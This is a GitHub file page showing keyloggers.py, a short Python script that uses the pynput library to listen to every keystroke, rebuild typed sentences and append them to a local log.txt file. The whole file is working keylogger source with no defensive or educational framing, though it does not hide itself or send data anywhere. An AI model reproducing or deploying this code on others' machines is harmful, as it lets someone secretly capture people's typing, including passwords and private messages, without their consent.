-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeyloggers.py
39 lines (33 loc) · 1.04 KB
/
keyloggers.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import pynput
from pynput.keyboard import Key, Listener
keys = []
sentence = []
def on_press(key):
global sentence
try:
if key.char == '\r': # Enter key
write_file(sentence)
sentence = [] # Reset sentence buffer
else:
sentence.append(key.char)
print(''.join(sentence), end="\r") # Print sentence in the same line
except AttributeError:
# Handle special keys
if key == Key.space:
sentence.append(' ')
elif key == Key.backspace:
if sentence:
sentence.pop() # Remove last character on backspace
else:
print(f'special key {key} pressed')
def write_file(sentence):
with open('log.txt', 'a') as f:
f.write(''.join(sentence) + '\n') # Write the sentence to the file
def on_release(key):
print(f'{key} released')
if key == Key.esc:
# Stop listener
return False
# Setup the listener
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()